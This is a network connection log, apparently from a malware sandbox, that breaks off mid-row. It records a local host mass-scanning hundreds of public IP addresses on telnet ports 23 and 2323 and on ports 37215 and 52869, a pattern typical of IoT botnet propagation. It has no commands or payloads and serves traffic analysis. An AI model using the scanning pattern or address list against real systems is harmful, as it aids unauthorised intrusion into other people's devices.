Oct 6, 2024 20:00:49.745120049 CEST	41876	37215	192.168.2.15	156.141.35.255
Oct 6, 2024 20:00:49.745120049 CEST	41876	37215	192.168.2.15	156.141.35.255
Oct 6, 2024 20:00:49.745249033 CEST	44342	52869	192.168.2.15	41.169.114.35
Oct 6, 2024 20:00:49.746042013 CEST	41940	37215	192.168.2.15	156.141.35.255
Oct 6, 2024 20:00:49.746282101 CEST	50716	52869	192.168.2.15	156.68.33.3
Oct 6, 2024 20:00:49.746300936 CEST	50716	52869	192.168.2.15	156.68.33.3
Oct 6, 2024 20:00:49.746985912 CEST	51040	52869	192.168.2.15	156.68.33.3
Oct 6, 2024 20:00:49.749329090 CEST	52869	44016	41.169.114.35	192.168.2.15
Oct 6, 2024 20:00:49.749597073 CEST	37215	42100	41.196.187.73	192.168.2.15
Oct 6, 2024 20:00:49.749612093 CEST	37215	51702	197.6.85.118	192.168.2.15
Oct 6, 2024 20:00:49.749665022 CEST	37215	46182	156.252.219.203	192.168.2.15
Oct 6, 2024 20:00:49.749696016 CEST	37215	50938	197.230.212.179	192.168.2.15
Oct 6, 2024 20:00:49.749710083 CEST	37215	37636	156.221.220.140	192.168.2.15
Oct 6, 2024 20:00:49.749722958 CEST	37215	36464	197.199.224.132	192.168.2.15
Oct 6, 2024 20:00:49.749746084 CEST	37215	56236	156.186.47.194	192.168.2.15
Oct 6, 2024 20:00:49.749759912 CEST	37215	52154	197.248.150.107	192.168.2.15
Oct 6, 2024 20:00:49.749772072 CEST	37215	36464	197.199.224.132	192.168.2.15
Oct 6, 2024 20:00:49.749830008 CEST	36464	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:49.749965906 CEST	37215	50938	197.230.212.179	192.168.2.15
Oct 6, 2024 20:00:49.749979019 CEST	37215	41876	156.141.35.255	192.168.2.15
Oct 6, 2024 20:00:49.750000000 CEST	37215	46182	156.252.219.203	192.168.2.15
Oct 6, 2024 20:00:49.750010014 CEST	50938	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:49.750015020 CEST	37215	51702	197.6.85.118	192.168.2.15
Oct 6, 2024 20:00:49.750039101 CEST	46182	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:49.750051022 CEST	51702	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:49.750267982 CEST	37215	37636	156.221.220.140	192.168.2.15
Oct 6, 2024 20:00:49.750312090 CEST	37636	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:49.750436068 CEST	37215	56236	156.186.47.194	192.168.2.15
Oct 6, 2024 20:00:49.750483990 CEST	56236	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:49.750652075 CEST	37215	42100	41.196.187.73	192.168.2.15
Oct 6, 2024 20:00:49.750698090 CEST	42100	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:49.750861883 CEST	37215	52154	197.248.150.107	192.168.2.15
Oct 6, 2024 20:00:49.750905991 CEST	52154	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:49.751091957 CEST	52869	50716	156.68.33.3	192.168.2.15
Oct 6, 2024 20:00:49.789676905 CEST	52869	44016	41.169.114.35	192.168.2.15
Oct 6, 2024 20:00:49.793737888 CEST	52869	50716	156.68.33.3	192.168.2.15
Oct 6, 2024 20:00:49.793759108 CEST	37215	41876	156.141.35.255	192.168.2.15
Oct 6, 2024 20:00:49.802236080 CEST	43312	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:49.802246094 CEST	54498	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:49.807102919 CEST	37215	43312	156.55.237.218	192.168.2.15
Oct 6, 2024 20:00:49.807142019 CEST	37215	54498	41.242.86.254	192.168.2.15
Oct 6, 2024 20:00:49.807185888 CEST	43312	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:49.807193995 CEST	54498	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:49.807265997 CEST	54498	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:49.807275057 CEST	43312	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:49.812535048 CEST	37215	43312	156.55.237.218	192.168.2.15
Oct 6, 2024 20:00:49.812591076 CEST	43312	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:49.812649965 CEST	37215	54498	41.242.86.254	192.168.2.15
Oct 6, 2024 20:00:49.812839031 CEST	54498	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:50.570275068 CEST	34312	23	192.168.2.15	185.168.44.61
Oct 6, 2024 20:00:50.570275068 CEST	38794	23	192.168.2.15	48.9.226.230
Oct 6, 2024 20:00:50.570275068 CEST	56254	2323	192.168.2.15	216.253.96.7
Oct 6, 2024 20:00:50.570282936 CEST	48076	23	192.168.2.15	37.20.129.58
Oct 6, 2024 20:00:50.570282936 CEST	33986	23	192.168.2.15	60.42.219.159
Oct 6, 2024 20:00:50.570293903 CEST	36500	23	192.168.2.15	167.180.28.158
Oct 6, 2024 20:00:50.570293903 CEST	42282	23	192.168.2.15	223.73.101.217
Oct 6, 2024 20:00:50.570293903 CEST	40706	23	192.168.2.15	117.31.59.173
Oct 6, 2024 20:00:50.570302963 CEST	51086	23	192.168.2.15	20.255.47.130
Oct 6, 2024 20:00:50.570302010 CEST	43724	23	192.168.2.15	216.158.204.255
Oct 6, 2024 20:00:50.570302963 CEST	44418	23	192.168.2.15	209.167.239.134
Oct 6, 2024 20:00:50.570302010 CEST	60242	23	192.168.2.15	109.235.220.71
Oct 6, 2024 20:00:50.570302963 CEST	59016	23	192.168.2.15	150.214.147.123
Oct 6, 2024 20:00:50.570312023 CEST	55308	23	192.168.2.15	9.38.37.27
Oct 6, 2024 20:00:50.570312023 CEST	58802	23	192.168.2.15	148.38.205.210
Oct 6, 2024 20:00:50.570333958 CEST	47082	23	192.168.2.15	130.235.208.12
Oct 6, 2024 20:00:50.570333958 CEST	57660	23	192.168.2.15	109.188.42.209
Oct 6, 2024 20:00:50.570344925 CEST	43938	23	192.168.2.15	129.16.7.213
Oct 6, 2024 20:00:50.570380926 CEST	37740	23	192.168.2.15	32.162.80.88
Oct 6, 2024 20:00:50.576275110 CEST	23	48076	37.20.129.58	192.168.2.15
Oct 6, 2024 20:00:50.576294899 CEST	23	34312	185.168.44.61	192.168.2.15
Oct 6, 2024 20:00:50.576308012 CEST	23	38794	48.9.226.230	192.168.2.15
Oct 6, 2024 20:00:50.576323986 CEST	2323	56254	216.253.96.7	192.168.2.15
Oct 6, 2024 20:00:50.576330900 CEST	23	36500	167.180.28.158	192.168.2.15
Oct 6, 2024 20:00:50.576344967 CEST	23	42282	223.73.101.217	192.168.2.15
Oct 6, 2024 20:00:50.576358080 CEST	23	51086	20.255.47.130	192.168.2.15
Oct 6, 2024 20:00:50.576371908 CEST	23	40706	117.31.59.173	192.168.2.15
Oct 6, 2024 20:00:50.576375008 CEST	34312	23	192.168.2.15	185.168.44.61
Oct 6, 2024 20:00:50.576375008 CEST	38794	23	192.168.2.15	48.9.226.230
Oct 6, 2024 20:00:50.576385975 CEST	23	43724	216.158.204.255	192.168.2.15
Oct 6, 2024 20:00:50.576391935 CEST	56254	2323	192.168.2.15	216.253.96.7
Oct 6, 2024 20:00:50.576394081 CEST	36500	23	192.168.2.15	167.180.28.158
Oct 6, 2024 20:00:50.576394081 CEST	42282	23	192.168.2.15	223.73.101.217
Oct 6, 2024 20:00:50.576395035 CEST	51086	23	192.168.2.15	20.255.47.130
Oct 6, 2024 20:00:50.576400042 CEST	23	44418	209.167.239.134	192.168.2.15
Oct 6, 2024 20:00:50.576410055 CEST	40706	23	192.168.2.15	117.31.59.173
Oct 6, 2024 20:00:50.576412916 CEST	23	60242	109.235.220.71	192.168.2.15
Oct 6, 2024 20:00:50.576414108 CEST	48076	23	192.168.2.15	37.20.129.58
Oct 6, 2024 20:00:50.576421976 CEST	43724	23	192.168.2.15	216.158.204.255
Oct 6, 2024 20:00:50.576426983 CEST	23	59016	150.214.147.123	192.168.2.15
Oct 6, 2024 20:00:50.576428890 CEST	44418	23	192.168.2.15	209.167.239.134
Oct 6, 2024 20:00:50.576441050 CEST	23	47082	130.235.208.12	192.168.2.15
Oct 6, 2024 20:00:50.576446056 CEST	60242	23	192.168.2.15	109.235.220.71
Oct 6, 2024 20:00:50.576455116 CEST	23	43938	129.16.7.213	192.168.2.15
Oct 6, 2024 20:00:50.576464891 CEST	59016	23	192.168.2.15	150.214.147.123
Oct 6, 2024 20:00:50.576468945 CEST	23	33986	60.42.219.159	192.168.2.15
Oct 6, 2024 20:00:50.576471090 CEST	47082	23	192.168.2.15	130.235.208.12
Oct 6, 2024 20:00:50.576474905 CEST	23	57660	109.188.42.209	192.168.2.15
Oct 6, 2024 20:00:50.576488972 CEST	23	55308	9.38.37.27	192.168.2.15
Oct 6, 2024 20:00:50.576503038 CEST	23	37740	32.162.80.88	192.168.2.15
Oct 6, 2024 20:00:50.576508045 CEST	57660	23	192.168.2.15	109.188.42.209
Oct 6, 2024 20:00:50.576524973 CEST	43938	23	192.168.2.15	129.16.7.213
Oct 6, 2024 20:00:50.576524973 CEST	33986	23	192.168.2.15	60.42.219.159
Oct 6, 2024 20:00:50.576527119 CEST	23	58802	148.38.205.210	192.168.2.15
Oct 6, 2024 20:00:50.576534033 CEST	37740	23	192.168.2.15	32.162.80.88
Oct 6, 2024 20:00:50.576535940 CEST	55308	23	192.168.2.15	9.38.37.27
Oct 6, 2024 20:00:50.576566935 CEST	58802	23	192.168.2.15	148.38.205.210
Oct 6, 2024 20:00:50.576584101 CEST	50952	23	192.168.2.15	197.186.252.9
Oct 6, 2024 20:00:50.576586962 CEST	50952	23	192.168.2.15	211.104.172.229
Oct 6, 2024 20:00:50.576587915 CEST	50952	23	192.168.2.15	184.203.246.147
Oct 6, 2024 20:00:50.576601982 CEST	50952	2323	192.168.2.15	66.130.30.253
Oct 6, 2024 20:00:50.576605082 CEST	50952	23	192.168.2.15	60.107.204.182
Oct 6, 2024 20:00:50.576606989 CEST	50952	23	192.168.2.15	51.6.148.217
Oct 6, 2024 20:00:50.576605082 CEST	50952	23	192.168.2.15	109.12.168.12
Oct 6, 2024 20:00:50.576608896 CEST	50952	23	192.168.2.15	193.31.5.137
Oct 6, 2024 20:00:50.576628923 CEST	50952	23	192.168.2.15	204.210.209.239
Oct 6, 2024 20:00:50.576628923 CEST	50952	2323	192.168.2.15	65.134.163.103
Oct 6, 2024 20:00:50.576632977 CEST	50952	23	192.168.2.15	81.253.54.153
Oct 6, 2024 20:00:50.576632977 CEST	50952	23	192.168.2.15	4.86.220.189
Oct 6, 2024 20:00:50.576632977 CEST	50952	23	192.168.2.15	90.26.96.235
Oct 6, 2024 20:00:50.576632977 CEST	50952	23	192.168.2.15	66.164.91.131
Oct 6, 2024 20:00:50.576656103 CEST	50952	23	192.168.2.15	188.169.130.0
Oct 6, 2024 20:00:50.576658964 CEST	50952	23	192.168.2.15	174.5.124.121
Oct 6, 2024 20:00:50.576658964 CEST	50952	23	192.168.2.15	152.150.40.255
Oct 6, 2024 20:00:50.576662064 CEST	50952	23	192.168.2.15	114.143.103.2
Oct 6, 2024 20:00:50.576662064 CEST	50952	23	192.168.2.15	148.115.67.230
Oct 6, 2024 20:00:50.576668024 CEST	50952	23	192.168.2.15	160.184.133.39
Oct 6, 2024 20:00:50.576680899 CEST	50952	23	192.168.2.15	47.109.228.77
Oct 6, 2024 20:00:50.576689959 CEST	50952	23	192.168.2.15	119.26.241.16
Oct 6, 2024 20:00:50.576693058 CEST	50952	2323	192.168.2.15	141.159.77.200
Oct 6, 2024 20:00:50.576693058 CEST	50952	23	192.168.2.15	94.245.235.237
Oct 6, 2024 20:00:50.576695919 CEST	50952	23	192.168.2.15	181.24.236.253
Oct 6, 2024 20:00:50.576697111 CEST	50952	23	192.168.2.15	149.156.7.28
Oct 6, 2024 20:00:50.576702118 CEST	50952	23	192.168.2.15	36.212.8.89
Oct 6, 2024 20:00:50.576703072 CEST	50952	23	192.168.2.15	208.219.235.185
Oct 6, 2024 20:00:50.576709986 CEST	50952	23	192.168.2.15	112.157.163.19
Oct 6, 2024 20:00:50.576714993 CEST	50952	23	192.168.2.15	160.195.110.113
Oct 6, 2024 20:00:50.576721907 CEST	50952	23	192.168.2.15	117.19.120.241
Oct 6, 2024 20:00:50.576721907 CEST	50952	2323	192.168.2.15	60.3.225.68
Oct 6, 2024 20:00:50.576728106 CEST	50952	23	192.168.2.15	106.138.214.92
Oct 6, 2024 20:00:50.576738119 CEST	50952	23	192.168.2.15	24.39.117.254
Oct 6, 2024 20:00:50.576738119 CEST	50952	23	192.168.2.15	213.220.227.18
Oct 6, 2024 20:00:50.576749086 CEST	50952	23	192.168.2.15	201.205.122.63
Oct 6, 2024 20:00:50.576751947 CEST	50952	23	192.168.2.15	149.195.90.177
Oct 6, 2024 20:00:50.576761961 CEST	50952	23	192.168.2.15	216.125.46.114
Oct 6, 2024 20:00:50.576766968 CEST	50952	23	192.168.2.15	191.167.80.179
Oct 6, 2024 20:00:50.576766968 CEST	50952	23	192.168.2.15	164.146.118.195
Oct 6, 2024 20:00:50.576766968 CEST	50952	2323	192.168.2.15	217.222.228.201
Oct 6, 2024 20:00:50.576781988 CEST	50952	23	192.168.2.15	63.128.40.122
Oct 6, 2024 20:00:50.576783895 CEST	50952	23	192.168.2.15	185.38.244.149
Oct 6, 2024 20:00:50.576792955 CEST	50952	23	192.168.2.15	58.114.48.64
Oct 6, 2024 20:00:50.576797962 CEST	50952	23	192.168.2.15	165.174.150.71
Oct 6, 2024 20:00:50.576798916 CEST	50952	23	192.168.2.15	128.3.241.195
Oct 6, 2024 20:00:50.576800108 CEST	50952	23	192.168.2.15	172.11.144.94
Oct 6, 2024 20:00:50.576811075 CEST	50952	23	192.168.2.15	116.53.61.141
Oct 6, 2024 20:00:50.576822042 CEST	50952	23	192.168.2.15	208.93.208.244
Oct 6, 2024 20:00:50.576822042 CEST	50952	23	192.168.2.15	59.154.188.189
Oct 6, 2024 20:00:50.576822042 CEST	50952	2323	192.168.2.15	146.14.53.102
Oct 6, 2024 20:00:50.576833963 CEST	50952	23	192.168.2.15	40.243.213.91
Oct 6, 2024 20:00:50.576837063 CEST	50952	23	192.168.2.15	74.222.150.59
Oct 6, 2024 20:00:50.576842070 CEST	50952	23	192.168.2.15	64.30.91.46
Oct 6, 2024 20:00:50.576842070 CEST	50952	23	192.168.2.15	133.207.231.235
Oct 6, 2024 20:00:50.576842070 CEST	50952	23	192.168.2.15	105.153.240.236
Oct 6, 2024 20:00:50.576852083 CEST	50952	23	192.168.2.15	31.166.0.74
Oct 6, 2024 20:00:50.576852083 CEST	50952	23	192.168.2.15	213.201.89.49
Oct 6, 2024 20:00:50.576853991 CEST	50952	23	192.168.2.15	222.196.61.114
Oct 6, 2024 20:00:50.576863050 CEST	50952	23	192.168.2.15	40.139.26.5
Oct 6, 2024 20:00:50.576865911 CEST	50952	2323	192.168.2.15	136.103.234.160
Oct 6, 2024 20:00:50.576878071 CEST	50952	23	192.168.2.15	34.82.64.59
Oct 6, 2024 20:00:50.576879025 CEST	50952	23	192.168.2.15	88.132.254.135
Oct 6, 2024 20:00:50.576890945 CEST	50952	23	192.168.2.15	176.127.132.30
Oct 6, 2024 20:00:50.576894999 CEST	50952	23	192.168.2.15	66.0.113.99
Oct 6, 2024 20:00:50.576900959 CEST	50952	23	192.168.2.15	99.0.180.4
Oct 6, 2024 20:00:50.576910973 CEST	50952	23	192.168.2.15	177.255.208.203
Oct 6, 2024 20:00:50.576911926 CEST	50952	23	192.168.2.15	47.176.220.177
Oct 6, 2024 20:00:50.576911926 CEST	50952	23	192.168.2.15	84.194.39.3
Oct 6, 2024 20:00:50.576932907 CEST	50952	23	192.168.2.15	46.233.132.194
Oct 6, 2024 20:00:50.576940060 CEST	50952	23	192.168.2.15	111.61.93.98
Oct 6, 2024 20:00:50.576940060 CEST	50952	23	192.168.2.15	112.27.113.39
Oct 6, 2024 20:00:50.576941013 CEST	50952	23	192.168.2.15	213.242.27.173
Oct 6, 2024 20:00:50.576942921 CEST	50952	23	192.168.2.15	92.54.171.29
Oct 6, 2024 20:00:50.576942921 CEST	50952	2323	192.168.2.15	71.215.125.5
Oct 6, 2024 20:00:50.576946020 CEST	50952	23	192.168.2.15	23.220.122.70
Oct 6, 2024 20:00:50.576953888 CEST	50952	23	192.168.2.15	39.77.25.112
Oct 6, 2024 20:00:50.576970100 CEST	50952	23	192.168.2.15	9.213.5.227
Oct 6, 2024 20:00:50.576972961 CEST	50952	23	192.168.2.15	61.82.244.83
Oct 6, 2024 20:00:50.576972961 CEST	50952	23	192.168.2.15	141.163.12.68
Oct 6, 2024 20:00:50.576978922 CEST	50952	23	192.168.2.15	203.112.217.30
Oct 6, 2024 20:00:50.576978922 CEST	50952	23	192.168.2.15	63.66.253.134
Oct 6, 2024 20:00:50.576981068 CEST	50952	23	192.168.2.15	84.89.250.153
Oct 6, 2024 20:00:50.576986074 CEST	50952	23	192.168.2.15	45.115.55.58
Oct 6, 2024 20:00:50.576986074 CEST	50952	23	192.168.2.15	135.150.224.96
Oct 6, 2024 20:00:50.576987028 CEST	50952	23	192.168.2.15	72.91.47.105
Oct 6, 2024 20:00:50.576987982 CEST	50952	23	192.168.2.15	126.72.202.54
Oct 6, 2024 20:00:50.576987982 CEST	50952	23	192.168.2.15	136.97.193.143
Oct 6, 2024 20:00:50.576988935 CEST	50952	23	192.168.2.15	34.187.129.21
Oct 6, 2024 20:00:50.576988935 CEST	50952	23	192.168.2.15	182.31.101.189
Oct 6, 2024 20:00:50.576999903 CEST	50952	2323	192.168.2.15	165.55.76.85
Oct 6, 2024 20:00:50.576999903 CEST	50952	23	192.168.2.15	130.223.63.16
Oct 6, 2024 20:00:50.576999903 CEST	50952	23	192.168.2.15	72.145.255.17
Oct 6, 2024 20:00:50.577001095 CEST	50952	2323	192.168.2.15	69.110.215.162
Oct 6, 2024 20:00:50.577002048 CEST	50952	23	192.168.2.15	2.85.121.80
Oct 6, 2024 20:00:50.577003956 CEST	50952	23	192.168.2.15	97.130.241.152
Oct 6, 2024 20:00:50.577003956 CEST	50952	23	192.168.2.15	74.3.67.154
Oct 6, 2024 20:00:50.577003956 CEST	50952	23	192.168.2.15	65.76.70.5
Oct 6, 2024 20:00:50.577014923 CEST	50952	23	192.168.2.15	133.137.166.4
Oct 6, 2024 20:00:50.577028036 CEST	50952	23	192.168.2.15	126.255.63.154
Oct 6, 2024 20:00:50.577029943 CEST	50952	23	192.168.2.15	196.102.30.228
Oct 6, 2024 20:00:50.577029943 CEST	50952	2323	192.168.2.15	187.39.203.204
Oct 6, 2024 20:00:50.577029943 CEST	50952	23	192.168.2.15	17.114.55.157
Oct 6, 2024 20:00:50.577029943 CEST	50952	23	192.168.2.15	57.237.39.246
Oct 6, 2024 20:00:50.577039003 CEST	50952	23	192.168.2.15	208.85.240.16
Oct 6, 2024 20:00:50.577049017 CEST	50952	23	192.168.2.15	20.157.46.49
Oct 6, 2024 20:00:50.577050924 CEST	50952	23	192.168.2.15	57.39.39.146
Oct 6, 2024 20:00:50.577050924 CEST	50952	23	192.168.2.15	109.152.229.156
Oct 6, 2024 20:00:50.577060938 CEST	50952	2323	192.168.2.15	151.75.61.8
Oct 6, 2024 20:00:50.577061892 CEST	50952	23	192.168.2.15	39.51.127.60
Oct 6, 2024 20:00:50.577065945 CEST	50952	23	192.168.2.15	93.178.245.62
Oct 6, 2024 20:00:50.577068090 CEST	50952	23	192.168.2.15	197.40.55.98
Oct 6, 2024 20:00:50.577085018 CEST	50952	23	192.168.2.15	167.132.223.76
Oct 6, 2024 20:00:50.577092886 CEST	50952	23	192.168.2.15	177.182.10.102
Oct 6, 2024 20:00:50.577092886 CEST	50952	23	192.168.2.15	108.11.122.165
Oct 6, 2024 20:00:50.577092886 CEST	50952	23	192.168.2.15	135.75.149.177
Oct 6, 2024 20:00:50.577107906 CEST	50952	23	192.168.2.15	147.64.100.46
Oct 6, 2024 20:00:50.577116013 CEST	50952	23	192.168.2.15	143.18.173.61
Oct 6, 2024 20:00:50.577117920 CEST	50952	23	192.168.2.15	180.35.223.151
Oct 6, 2024 20:00:50.577117920 CEST	50952	23	192.168.2.15	85.90.204.85
Oct 6, 2024 20:00:50.577121019 CEST	50952	23	192.168.2.15	185.237.27.44
Oct 6, 2024 20:00:50.577121019 CEST	50952	2323	192.168.2.15	213.44.144.60
Oct 6, 2024 20:00:50.577133894 CEST	50952	23	192.168.2.15	122.91.165.77
Oct 6, 2024 20:00:50.577141047 CEST	50952	23	192.168.2.15	200.92.55.65
Oct 6, 2024 20:00:50.577141047 CEST	50952	23	192.168.2.15	188.101.49.180
Oct 6, 2024 20:00:50.577147007 CEST	50952	23	192.168.2.15	24.5.111.226
Oct 6, 2024 20:00:50.577148914 CEST	50952	23	192.168.2.15	217.229.59.214
Oct 6, 2024 20:00:50.577157021 CEST	50952	23	192.168.2.15	125.14.92.191
Oct 6, 2024 20:00:50.577172041 CEST	50952	23	192.168.2.15	92.167.74.70
Oct 6, 2024 20:00:50.577172041 CEST	50952	2323	192.168.2.15	72.202.22.174
Oct 6, 2024 20:00:50.577172995 CEST	50952	23	192.168.2.15	141.220.234.119
Oct 6, 2024 20:00:50.577173948 CEST	50952	23	192.168.2.15	143.12.77.102
Oct 6, 2024 20:00:50.577177048 CEST	50952	23	192.168.2.15	81.16.182.67
Oct 6, 2024 20:00:50.577197075 CEST	50952	23	192.168.2.15	104.143.28.188
Oct 6, 2024 20:00:50.577198029 CEST	50952	23	192.168.2.15	189.162.82.125
Oct 6, 2024 20:00:50.577197075 CEST	50952	23	192.168.2.15	89.55.85.246
Oct 6, 2024 20:00:50.577198029 CEST	50952	23	192.168.2.15	195.193.3.73
Oct 6, 2024 20:00:50.577198029 CEST	50952	23	192.168.2.15	17.76.26.251
Oct 6, 2024 20:00:50.577208042 CEST	50952	23	192.168.2.15	77.230.224.94
Oct 6, 2024 20:00:50.577212095 CEST	50952	23	192.168.2.15	2.36.195.72
Oct 6, 2024 20:00:50.577227116 CEST	50952	23	192.168.2.15	193.45.215.166
Oct 6, 2024 20:00:50.577228069 CEST	50952	2323	192.168.2.15	161.143.241.165
Oct 6, 2024 20:00:50.577229977 CEST	50952	23	192.168.2.15	120.67.218.223
Oct 6, 2024 20:00:50.577234983 CEST	50952	23	192.168.2.15	41.185.3.20
Oct 6, 2024 20:00:50.577235937 CEST	50952	23	192.168.2.15	117.212.173.153
Oct 6, 2024 20:00:50.577244043 CEST	50952	23	192.168.2.15	104.228.176.46
Oct 6, 2024 20:00:50.577244043 CEST	50952	23	192.168.2.15	68.178.187.47
Oct 6, 2024 20:00:50.577246904 CEST	50952	23	192.168.2.15	36.131.89.24
Oct 6, 2024 20:00:50.577246904 CEST	50952	23	192.168.2.15	81.23.180.205
Oct 6, 2024 20:00:50.577250957 CEST	50952	23	192.168.2.15	57.242.148.60
Oct 6, 2024 20:00:50.577250957 CEST	50952	23	192.168.2.15	86.52.83.212
Oct 6, 2024 20:00:50.577263117 CEST	50952	2323	192.168.2.15	221.94.177.167
Oct 6, 2024 20:00:50.577272892 CEST	50952	23	192.168.2.15	120.235.126.44
Oct 6, 2024 20:00:50.577279091 CEST	50952	23	192.168.2.15	76.249.100.214
Oct 6, 2024 20:00:50.577279091 CEST	50952	23	192.168.2.15	201.33.137.168
Oct 6, 2024 20:00:50.577282906 CEST	50952	23	192.168.2.15	83.47.191.75
Oct 6, 2024 20:00:50.577301979 CEST	50952	23	192.168.2.15	208.33.107.96
Oct 6, 2024 20:00:50.577303886 CEST	50952	23	192.168.2.15	207.127.244.214
Oct 6, 2024 20:00:50.577316046 CEST	50952	23	192.168.2.15	72.26.188.57
Oct 6, 2024 20:00:50.577342987 CEST	50952	23	192.168.2.15	85.95.190.185
Oct 6, 2024 20:00:50.581995010 CEST	23	50952	197.186.252.9	192.168.2.15
Oct 6, 2024 20:00:50.582010031 CEST	23	50952	211.104.172.229	192.168.2.15
Oct 6, 2024 20:00:50.582021952 CEST	23	50952	184.203.246.147	192.168.2.15
Oct 6, 2024 20:00:50.582034111 CEST	2323	50952	66.130.30.253	192.168.2.15
Oct 6, 2024 20:00:50.582046986 CEST	23	50952	51.6.148.217	192.168.2.15
Oct 6, 2024 20:00:50.582061052 CEST	50952	23	192.168.2.15	211.104.172.229
Oct 6, 2024 20:00:50.582061052 CEST	50952	23	192.168.2.15	184.203.246.147
Oct 6, 2024 20:00:50.582082033 CEST	50952	23	192.168.2.15	51.6.148.217
Oct 6, 2024 20:00:50.582098007 CEST	23	50952	193.31.5.137	192.168.2.15
Oct 6, 2024 20:00:50.582113028 CEST	23	50952	60.107.204.182	192.168.2.15
Oct 6, 2024 20:00:50.582117081 CEST	50952	23	192.168.2.15	197.186.252.9
Oct 6, 2024 20:00:50.582119942 CEST	50952	2323	192.168.2.15	66.130.30.253
Oct 6, 2024 20:00:50.582127094 CEST	23	50952	109.12.168.12	192.168.2.15
Oct 6, 2024 20:00:50.582148075 CEST	23	50952	204.210.209.239	192.168.2.15
Oct 6, 2024 20:00:50.582149982 CEST	50952	23	192.168.2.15	60.107.204.182
Oct 6, 2024 20:00:50.582154036 CEST	50952	23	192.168.2.15	193.31.5.137
Oct 6, 2024 20:00:50.582163095 CEST	2323	50952	65.134.163.103	192.168.2.15
Oct 6, 2024 20:00:50.582166910 CEST	50952	23	192.168.2.15	109.12.168.12
Oct 6, 2024 20:00:50.582176924 CEST	23	50952	81.253.54.153	192.168.2.15
Oct 6, 2024 20:00:50.582185984 CEST	50952	23	192.168.2.15	204.210.209.239
Oct 6, 2024 20:00:50.582190990 CEST	23	50952	4.86.220.189	192.168.2.15
Oct 6, 2024 20:00:50.582197905 CEST	50952	2323	192.168.2.15	65.134.163.103
Oct 6, 2024 20:00:50.582204103 CEST	23	50952	90.26.96.235	192.168.2.15
Oct 6, 2024 20:00:50.582216978 CEST	23	50952	66.164.91.131	192.168.2.15
Oct 6, 2024 20:00:50.582216978 CEST	50952	23	192.168.2.15	4.86.220.189
Oct 6, 2024 20:00:50.582230091 CEST	50952	23	192.168.2.15	81.253.54.153
Oct 6, 2024 20:00:50.582230091 CEST	23	50952	174.5.124.121	192.168.2.15
Oct 6, 2024 20:00:50.582243919 CEST	50952	23	192.168.2.15	90.26.96.235
Oct 6, 2024 20:00:50.582245111 CEST	23	50952	188.169.130.0	192.168.2.15
Oct 6, 2024 20:00:50.582252979 CEST	50952	23	192.168.2.15	66.164.91.131
Oct 6, 2024 20:00:50.582258940 CEST	23	50952	114.143.103.2	192.168.2.15
Oct 6, 2024 20:00:50.582266092 CEST	50952	23	192.168.2.15	174.5.124.121
Oct 6, 2024 20:00:50.582273960 CEST	23	50952	148.115.67.230	192.168.2.15
Oct 6, 2024 20:00:50.582287073 CEST	23	50952	152.150.40.255	192.168.2.15
Oct 6, 2024 20:00:50.582287073 CEST	50952	23	192.168.2.15	188.169.130.0
Oct 6, 2024 20:00:50.582300901 CEST	23	50952	160.184.133.39	192.168.2.15
Oct 6, 2024 20:00:50.582314014 CEST	23	50952	47.109.228.77	192.168.2.15
Oct 6, 2024 20:00:50.582314968 CEST	50952	23	192.168.2.15	114.143.103.2
Oct 6, 2024 20:00:50.582314968 CEST	50952	23	192.168.2.15	148.115.67.230
Oct 6, 2024 20:00:50.582324028 CEST	50952	23	192.168.2.15	152.150.40.255
Oct 6, 2024 20:00:50.582328081 CEST	23	50952	119.26.241.16	192.168.2.15
Oct 6, 2024 20:00:50.582334042 CEST	50952	23	192.168.2.15	160.184.133.39
Oct 6, 2024 20:00:50.582345963 CEST	50952	23	192.168.2.15	47.109.228.77
Oct 6, 2024 20:00:50.582345963 CEST	23	50952	36.212.8.89	192.168.2.15
Oct 6, 2024 20:00:50.582367897 CEST	50952	23	192.168.2.15	119.26.241.16
Oct 6, 2024 20:00:50.582426071 CEST	50952	23	192.168.2.15	36.212.8.89
Oct 6, 2024 20:00:50.582449913 CEST	23	50952	208.219.235.185	192.168.2.15
Oct 6, 2024 20:00:50.582465887 CEST	2323	50952	141.159.77.200	192.168.2.15
Oct 6, 2024 20:00:50.582489967 CEST	23	50952	94.245.235.237	192.168.2.15
Oct 6, 2024 20:00:50.582504034 CEST	23	50952	112.157.163.19	192.168.2.15
Oct 6, 2024 20:00:50.582518101 CEST	50952	2323	192.168.2.15	141.159.77.200
Oct 6, 2024 20:00:50.582529068 CEST	50952	23	192.168.2.15	208.219.235.185
Oct 6, 2024 20:00:50.582530975 CEST	23	50952	160.195.110.113	192.168.2.15
Oct 6, 2024 20:00:50.582540035 CEST	50952	23	192.168.2.15	94.245.235.237
Oct 6, 2024 20:00:50.582555056 CEST	50952	23	192.168.2.15	112.157.163.19
Oct 6, 2024 20:00:50.582556009 CEST	23	50952	181.24.236.253	192.168.2.15
Oct 6, 2024 20:00:50.582573891 CEST	50952	23	192.168.2.15	160.195.110.113
Oct 6, 2024 20:00:50.582577944 CEST	23	50952	149.156.7.28	192.168.2.15
Oct 6, 2024 20:00:50.582592010 CEST	2323	50952	60.3.225.68	192.168.2.15
Oct 6, 2024 20:00:50.582596064 CEST	50952	23	192.168.2.15	181.24.236.253
Oct 6, 2024 20:00:50.582598925 CEST	23	50952	117.19.120.241	192.168.2.15
Oct 6, 2024 20:00:50.582607031 CEST	23	50952	106.138.214.92	192.168.2.15
Oct 6, 2024 20:00:50.582612991 CEST	23	50952	24.39.117.254	192.168.2.15
Oct 6, 2024 20:00:50.582618952 CEST	23	50952	213.220.227.18	192.168.2.15
Oct 6, 2024 20:00:50.582631111 CEST	50952	23	192.168.2.15	149.156.7.28
Oct 6, 2024 20:00:50.582632065 CEST	23<

